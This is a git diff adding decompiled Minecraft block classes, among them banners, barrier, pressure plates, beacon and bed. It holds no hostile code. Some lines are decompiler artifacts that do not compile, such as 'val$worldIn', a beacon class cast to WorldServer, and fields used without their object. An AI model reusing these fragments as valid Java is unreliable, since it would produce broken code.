+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, var2, 0.5F + var1);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return true;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityBanner();
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.banner;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.banner;
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    
+    if ((var6 instanceof TileEntityBanner))
+    {
+      ItemStack var7 = new ItemStack(Items.banner, 1, ((TileEntityBanner)var6).getBaseColor());
+      NBTTagCompound var8 = new NBTTagCompound();
+      var6.writeToNBT(var8);
+      var8.removeTag("x");
+      var8.removeTag("y");
+      var8.removeTag("z");
+      var8.removeTag("id");
+      var7.setTagInfo("BlockEntityTag", var8);
+      spawnAsEntity(worldIn, pos, var7);
+    }
+    else
+    {
+      super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    }
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((te instanceof TileEntityBanner))
+    {
+      ItemStack var6 = new ItemStack(Items.banner, 1, ((TileEntityBanner)te).getBaseColor());
+      NBTTagCompound var7 = new NBTTagCompound();
+      te.writeToNBT(var7);
+      var7.removeTag("x");
+      var7.removeTag("y");
+      var7.removeTag("z");
+      var7.removeTag("id");
+      var6.setTagInfo("BlockEntityTag", var7);
+      spawnAsEntity(worldIn, pos, var6);
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, null);
+    }
+  }
+  
+  public static class BlockBannerHanging extends BlockBanner
+  {
+    private static final String __OBFID = "CL_00002140";
+    
+    public BlockBannerHanging()
+    {
+      setDefaultState(blockState.getBaseState().withProperty(FACING_PROP, EnumFacing.NORTH));
+    }
+    
+    public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+    {
+      EnumFacing var3 = (EnumFacing)access.getBlockState(pos).getValue(FACING_PROP);
+      float var4 = 0.0F;
+      float var5 = 0.78125F;
+      float var6 = 0.0F;
+      float var7 = 1.0F;
+      float var8 = 0.125F;
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+      
+      switch (BlockBanner.SwitchEnumFacing.SWITCH_MAP[var3.ordinal()])
+      {
+      case 1: 
+      default: 
+        setBlockBounds(var6, var4, 1.0F - var8, var7, var5, 1.0F);
+        break;
+      
+      case 2: 
+        setBlockBounds(var6, var4, 0.0F, var7, var5, var8);
+        break;
+      
+      case 3: 
+        setBlockBounds(1.0F - var8, var4, var6, 1.0F, var5, var7);
+        break;
+      
+      case 4: 
+        setBlockBounds(0.0F, var4, var6, var8, var5, var7);
+      }
+    }
+    
+    public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+    {
+      EnumFacing var5 = (EnumFacing)state.getValue(FACING_PROP);
+      
+      if (!worldIn.getBlockState(pos.offset(var5.getOpposite())).getBlock().getMaterial().isSolid())
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+        worldIn.setBlockToAir(pos);
+      }
+      
+      super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+    }
+    
+    public IBlockState getStateFromMeta(int meta)
+    {
+      EnumFacing var2 = EnumFacing.getFront(meta);
+      
+      if (var2.getAxis() == net.minecraft.util.EnumFacing.Axis.Y)
+      {
+        var2 = EnumFacing.NORTH;
+      }
+      
+      return getDefaultState().withProperty(FACING_PROP, var2);
+    }
+    
+    public int getMetaFromState(IBlockState state)
+    {
+      return ((EnumFacing)state.getValue(FACING_PROP)).getIndex();
+    }
+    
+    protected BlockState createBlockState()
+    {
+      return new BlockState(this, new IProperty[] { FACING_PROP });
+    }
+  }
+  
+  public static class BlockBannerStanding extends BlockBanner
+  {
+    private static final String __OBFID = "CL_00002141";
+    
+    public BlockBannerStanding()
+    {
+      setDefaultState(blockState.getBaseState().withProperty(ROTATION_PROP, Integer.valueOf(0)));
+    }
+    
+    public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+    {
+      if (!worldIn.getBlockState(pos.offsetDown()).getBlock().getMaterial().isSolid())
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+        worldIn.setBlockToAir(pos);
+      }
+      
+      super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+    }
+    
+    public IBlockState getStateFromMeta(int meta)
+    {
+      return getDefaultState().withProperty(ROTATION_PROP, Integer.valueOf(meta));
+    }
+    
+    public int getMetaFromState(IBlockState state)
+    {
+      return ((Integer)state.getValue(ROTATION_PROP)).intValue();
+    }
+    
+    protected BlockState createBlockState()
+    {
+      return new BlockState(this, new IProperty[] { ROTATION_PROP });
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] SWITCH_MAP = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002142";
+    
+    static
+    {
+      try
+      {
+        SWITCH_MAP[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        SWITCH_MAP[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        SWITCH_MAP[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        SWITCH_MAP[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBarrier.java b/src/minecraft/net/minecraft/block/BlockBarrier.java
new file mode 100644
index 0000000..e240a2d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBarrier.java
@@ -0,0 +1,43 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockBarrier extends Block
+{
+  private static final String __OBFID = "CL_00002139";
+  
+  protected BlockBarrier()
+  {
+    super(Material.barrier);
+    setBlockUnbreakable();
+    setResistance(6000001.0F);
+    disableStats();
+    translucent = true;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return -1;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public float getAmbientOcclusionLightValue()
+  {
+    return 1.0F;
+  }
+  
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune) {}
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBasePressurePlate.java b/src/minecraft/net/minecraft/block/BlockBasePressurePlate.java
new file mode 100644
index 0000000..8ba0b31
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBasePressurePlate.java
@@ -0,0 +1,225 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public abstract class BlockBasePressurePlate extends Block
+{
+  private static final String __OBFID = "CL_00000194";
+  
+  protected BlockBasePressurePlate(Material materialIn)
+  {
+    super(materialIn);
+    setCreativeTab(CreativeTabs.tabRedstone);
+    setTickRandomly(true);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    func_180668_d(access.getBlockState(pos));
+  }
+  
+  protected void func_180668_d(IBlockState p_180668_1_)
+  {
+    boolean var2 = getRedstoneStrength(p_180668_1_) > 0;
+    float var3 = 0.0625F;
+    
+    if (var2)
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.03125F, 0.9375F);
+    }
+    else
+    {
+      setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.0625F, 0.9375F);
+    }
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 20;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return true;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return canBePlacedOn(worldIn, pos.offsetDown());
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!canBePlacedOn(worldIn, pos.offsetDown()))
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  private boolean canBePlacedOn(World worldIn, BlockPos pos)
+  {
+    return (World.doesBlockHaveSolidTopSurface(worldIn, pos)) || ((worldIn.getBlockState(pos).getBlock() instanceof BlockFence));
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      int var5 = getRedstoneStrength(state);
+      
+      if (var5 > 0)
+      {
+        updateState(worldIn, pos, state, var5);
+      }
+    }
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if (!isRemote)
+    {
+      int var5 = getRedstoneStrength(state);
+      
+      if (var5 == 0)
+      {
+        updateState(worldIn, pos, state, var5);
+      }
+    }
+  }
+  
+
+
+
+  protected void updateState(World worldIn, BlockPos pos, IBlockState state, int oldRedstoneStrength)
+  {
+    int var5 = computeRedstoneStrength(worldIn, pos);
+    boolean var6 = oldRedstoneStrength > 0;
+    boolean var7 = var5 > 0;
+    
+    if (oldRedstoneStrength != var5)
+    {
+      state = setRedstoneStrength(state, var5);
+      worldIn.setBlockState(pos, state, 2);
+      updateNeighbors(worldIn, pos);
+      worldIn.markBlockRangeForRenderUpdate(pos, pos);
+    }
+    
+    if ((!var7) && (var6))
+    {
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.1D, pos.getZ() + 0.5D, "random.click", 0.3F, 0.5F);
+    }
+    else if ((var7) && (!var6))
+    {
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.1D, pos.getZ() + 0.5D, "random.click", 0.3F, 0.6F);
+    }
+    
+    if (var7)
+    {
+      worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+    }
+  }
+  
+
+
+
+  protected AxisAlignedBB getSensitiveAABB(BlockPos pos)
+  {
+    float var2 = 0.125F;
+    return new AxisAlignedBB(pos.getX() + 0.125F, pos.getY(), pos.getZ() + 0.125F, pos.getX() + 1 - 0.125F, pos.getY() + 0.25D, pos.getZ() + 1 - 0.125F);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (getRedstoneStrength(state) > 0)
+    {
+      updateNeighbors(worldIn, pos);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+
+
+
+  protected void updateNeighbors(World worldIn, BlockPos pos)
+  {
+    worldIn.notifyNeighborsOfStateChange(pos, this);
+    worldIn.notifyNeighborsOfStateChange(pos.offsetDown(), this);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return getRedstoneStrength(state);
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? getRedstoneStrength(state) : 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.5F;
+    float var2 = 0.125F;
+    float var3 = 0.5F;
+    setBlockBounds(0.0F, 0.375F, 0.0F, 1.0F, 0.625F, 1.0F);
+  }
+  
+  public int getMobilityFlag()
+  {
+    return 1;
+  }
+  
+  protected abstract int computeRedstoneStrength(World paramWorld, BlockPos paramBlockPos);
+  
+  protected abstract int getRedstoneStrength(IBlockState paramIBlockState);
+  
+  protected abstract IBlockState setRedstoneStrength(IBlockState paramIBlockState, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBeacon.java b/src/minecraft/net/minecraft/block/BlockBeacon.java
new file mode 100644
index 0000000..ef8a19a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBeacon.java
@@ -0,0 +1,148 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBeacon;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.HttpUtil;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.chunk.Chunk;
+
+public class BlockBeacon extends BlockContainer
+{
+  private static final String __OBFID = "CL_00000197";
+  
+  public BlockBeacon()
+  {
+    super(Material.glass);
+    setHardness(3.0F);
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityBeacon();
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityBeacon))
+    {
+      playerIn.displayGUIChest((TileEntityBeacon)var9);
+    }
+    
+    return true;
+  }
+  
+
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    super.onBlockPlacedBy(worldIn, pos, state, placer, stack);
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityBeacon))
+      {
+        ((TileEntityBeacon)var6).func_145999_a(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    TileEntity var5 = worldIn.getTileEntity(pos);
+    
+    if ((var5 instanceof TileEntityBeacon))
+    {
+      ((TileEntityBeacon)var5).func_174908_m();
+      worldIn.addBlockEvent(pos, this, 1, 0);
+    }
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public static void func_176450_d(World worldIn, final BlockPos p_176450_1_)
+  {
+    HttpUtil.field_180193_a.submit(new Runnable()
+    {
+      private static final String __OBFID = "CL_00002136";
+      
+      public void run() {
+        Chunk var1 = getChunkFromBlockCoords(p_176450_1_);
+        
+        for (int var2 = p_176450_1_.getY() - 1; var2 >= 0; var2--)
+        {
+          final BlockPos var3 = new BlockPos(p_176450_1_.getX(), var2, p_176450_1_.getZ());
+          
+          if (!var1.canSeeSky(var3)) {
+            break;
+          }
+          
+
+          IBlockState var4 = getBlockState(var3);
+          
+          if (var4.getBlock() == Blocks.beacon)
+          {
+            ((WorldServer)BlockBeacon.this).addScheduledTask(new Runnable()
+            {
+              private static final String __OBFID = "CL_00002135";
+              
+              public void run() {
+                TileEntity var1 = val$worldIn.getTileEntity(var3);
+                
+                if ((var1 instanceof TileEntityBeacon))
+                {
+                  ((TileEntityBeacon)var1).func_174908_m();
+                  val$worldIn.addBlockEvent(var3, Blocks.beacon, 1, 0);
+                }
+              }
+            });
+          }
+        }
+      }
+    });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBed.java b/src/minecraft/net/minecraft/block/BlockBed.java
new file mode 100644
index 0000000..cabe381
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBed.java
@@ -0,0 +1,345 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayer.EnumStatus;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+
+public class BlockBed extends BlockDirectional
+{
+  public static final PropertyEnum PART_PROP = PropertyEnum.create("part", EnumPartType.class);
+  public static final PropertyBool OCCUPIED_PROP = PropertyBool.create("occupied");
+  private static final String __OBFID = "CL_00000198";
+  
+  public BlockBed()
+  {
+    super(Material.cloth);
+    setDefaultState(blockState.getBaseState().withProperty(PART_PROP, EnumPartType.FOOT).withProperty(OCCUPIED_PROP, Boolean.valueOf(false)));
+    setBedBounds();
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    if (state.getValue(PART_PROP) != EnumPartType.HEAD)
+    {
+      pos = pos.offset((EnumFacing)state.getValue(AGE));
+      state = worldIn.getBlockState(pos);
+      
+      if (state.getBlock() != this)
+      {
+        return true;
+      }
+    }
+    
+    if ((provider.canRespawnHere()) && (worldIn.getBiomeGenForCoords(pos) != net.minecraft.world.biome.BiomeGenBase.hell))
+    {
+      if (((Boolean)state.getValue(OCCUPIED_PROP)).booleanValue())
+      {
+        EntityPlayer var10 = func_176470_e(worldIn, pos);
+        
+        if (var10 != null)
+        {
+          playerIn.addChatComponentMessage(new ChatComponentTranslation("tile.bed.occupied", new Object[0]));
+          return true;
+        }
+        
+        state = state.withProperty(OCCUPIED_PROP, Boolean.valueOf(false));
+        worldIn.setBlockState(pos, state, 4);
+      }
+      
+      EntityPlayer.EnumStatus var11 = playerIn.func_180469_a(pos);
+      
+      if (var11 == EntityPlayer.EnumStatus.OK)
+      {
+        state = state.withProperty(OCCUPIED_PROP, Boolean.valueOf(true));
+        worldIn.setBlockState(pos, state, 4);
+        return true;
+      }
+      
+
+      if (var11 == EntityPlayer.EnumStatus.NOT_POSSIBLE_NOW)
+      {
+        playerIn.addChatComponentMessage(new ChatComponentTranslation("tile.bed.noSleep", new Object[0]));
+      }
+      else if (var11 == EntityPlayer.EnumStatus.NOT_SAFE)
+      {
+        playerIn.addChatComponentMessage(new ChatComponentTranslation("tile.bed.notSafe", new Object[0]));
+      }
+      
+      return true;
+    }
+    
+
+
+    worldIn.setBlockToAir(pos);
+    BlockPos var9 = pos.offset(((EnumFacing)state.getValue(AGE)).getOpposite());
+    
+    if (worldIn.getBlockState(var9).getBlock() == this)
+    {
+      worldIn.setBlockToAir(var9);
+    }
+    
+    worldIn.newExplosion(null, pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, 5.0F, true, true);
+    return true;
+  }
+  
+
+
+  private EntityPlayer func_176470_e(World worldIn, BlockPos p_176470_2_)
+  {
+    Iterator var3 = playerEntities.iterator();
+    
+    EntityPlayer var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return null;
+      }
+      
+      var4 = (EntityPlayer)var3.next();
+    }
+    while ((!var4.isPlayerSleeping()) || (!playerLocation.equals(p_176470_2_)));
+    
+    return var4;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    setBedBounds();
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    EnumFacing var5 = (EnumFacing)state.getValue(AGE);
+    
+    if (state.getValue(PART_PROP) == EnumPartType.HEAD)
+    {
+      if (worldIn.getBlockState(pos.offset(var5.getOpposite())).getBlock() != this)
+      {
+        worldIn.setBlockToAir(pos);
+      }
+    }
+    else if (worldIn.getBlockState(pos.offset(var5)).getBlock() != this)
+    {
+      worldIn.setBlockToAir(pos);
+      
+      if (!isRemote)
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return state.getValue(PART_PROP) == EnumPartType.HEAD ? null : Items.bed;
+  }
+  
+  private void setBedBounds()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5625F, 1.0F);
+  }
+  
+
+
+
+  public static BlockPos getSafeExitLocation(World worldIn, BlockPos p_176468_1_, int p_176468_2_)
+  {
+    EnumFacing var3 = (EnumFacing)worldIn.getBlockState(p_176468_1_).getValue(AGE);
+    int var4 = p_176468_1_.getX();
+    int var5 = p_176468_1_.getY();
+    int var6 = p_176468_1_.getZ();
+    
+    for (int var7 = 0; var7 <= 1; var7++)
+    {
+      int var8 = var4 - var3.getFrontOffsetX() * var7 - 1;
+      int var9 = var6 - var3.getFrontOffsetZ() * var7 - 1;
+      int var10 = var8 + 2;
+      int var11 = var9 + 2;
+      
+      for (int var12 = var8; var12 <= var10; var12++)
+      {
+        for (int var13 = var9; var13 <= var11; var13++)
+        {
+          BlockPos var14 = new BlockPos(var12, var5, var13);
+          
+          if (func_176469_d(worldIn, var14))
+          {
+            if (p_176468_2_ <= 0)
+            {
+              return var14;
+            }
+            
+            p_176468_2_--;
+          }
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+  protected static boolean func_176469_d(World worldIn, BlockPos p_176469_1_)
+  {
+    return (World.doesBlockHaveSolidTopSurface(worldIn, p_176469_1_.offsetDown())) && (!worldIn.getBlockState(p_176469_1_).getBlock().getMaterial().isSolid()) && (!worldIn.getBlockState(p_176469_1_.offsetUp()).getBlock().getMaterial().isSolid());
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (state.getValue(PART_PROP) == EnumPartType.FOOT)
+    {
+      super.dropBlockAsItemWithChance(worldIn, pos, state, chance, 0);
+    }
+  }
+  
+  public int getMobilityFlag()
+  {
+    return 1;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.bed;
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    if ((capabilities.isCreativeMode) && (state.getValue(PART_PROP) == EnumPartType.HEAD))
+    {
+      BlockPos var5 = pos.offset(((EnumFacing)state.getValue(AGE)).getOpposite());
+      
+      if (worldIn.getBlockState(var5).getBlock() == this)
+      {
+        worldIn.setBlockToAir(var5);
+      }
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getHorizontal(meta);
+    return (meta & 0x8) > 0 ? getDefaultState().withProperty(PART_PROP, EnumPartType.HEAD).withProperty(AGE, var2).withProperty(OCCUPIED_PROP, Boolean.valueOf((meta & 0x4) > 0)) : getDefaultState().withProperty(PART_PROP, EnumPartType.FOOT).withProperty(AGE, var2);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    if (state.getValue(PART_PROP) == EnumPartType.FOOT)
+    {
+      IBlockState var4 = worldIn.getBlockState(pos.offset((EnumFacing)state.getValue(AGE)));
+      
+      if (var4.getBlock() == this)
+      {
+        state = state.withProperty(OCCUPIED_PROP, var4.getValue(OCCUPIED_PROP));
+      }
+    }
+    
+    return state;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+    
+    if (state.getValue(PART_PROP) == EnumPartType.HEAD)
+    {
+      var3 |= 0x8;
+      
+      if (((Boolean)state.getValue(OCCUPIED_PROP)).booleanValue())
+      {
+        var3 |= 0x4;
+      }
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { AGE, PART_PROP, OCCUPIED_PROP });
+  }
+  
+  public static enum EnumPartType implements IStringSerializable
+  {
+    HEAD("HEAD", 0, "head"), 
+    FOOT("FOOT", 1, "foot");
+    
+    private final String field_177036_c;
+    private static final EnumPartType[] $VALUES = { HEAD, FOOT };
+    private static final String __OBFID = "CL_00002134";
+    
+    private EnumPartType(String p_i45735_1_, int p_i45735_2_, String p_i45735_3_)
+    {
+      field_177036_c = p_i45735_3_;
+    }
+    
+    public String toString()
+    {
+      return field_177036_c;
+    }
+    
+    public String getName()
+    {
+      return field_177036_c;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBookshelf.java b/src/minecraft/net/minecraft/block/BlockBookshelf.java
new file mode 100644
index 0000000..a7faf7b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBookshelf.java
@@ -0,0 +1,37 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+
+public class BlockBookshelf extends Block
+{
+  private static final String __OBFID = "CL_00000206";
+  
+  public BlockBookshelf()
+  {
+    super(Material.wood);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 3;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.book;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBreakable.java b/src/minecraft/net/minecraft/block/BlockBreakable.java
new file mode 100644
index 0000000..394334b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBreakable.java
@@ -0,0 +1,46 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+
+public class BlockBreakable extends Block
+{
+  private boolean ignoreSimilarity;
+  private static final String __OBFID = "CL_00000254";
+  
+  protected BlockBreakable(Material p_i45712_1_, boolean p_i45712_2_)
+  {
+    super(p_i45712_1_);
+    ignoreSimilarity = p_i45712_2_;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    IBlockState var4 = worldIn.getBlockState(pos);
+    Block var5 = var4.getBlock();
+    
+    if ((this == Blocks.glass) || (this == Blocks.stained_glass))
+    {
+      if (worldIn.getBlockState(pos.offset(side.getOpposite())) != var4)
+      {
+        return true;
+      }
+      
+      if (var5 == this)
+      {
+        return false;
+      }
+    }
+    
+    return (!ignoreSimilarity) && (var5 == this) ? false : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockBrewingStand.java b/src/minecraft/net/minecraft/block/BlockBrewingStand.java
new file mode 100644
index 0000000..506a9d5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockBrewingStand.java
@@ -0,0 +1,205 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
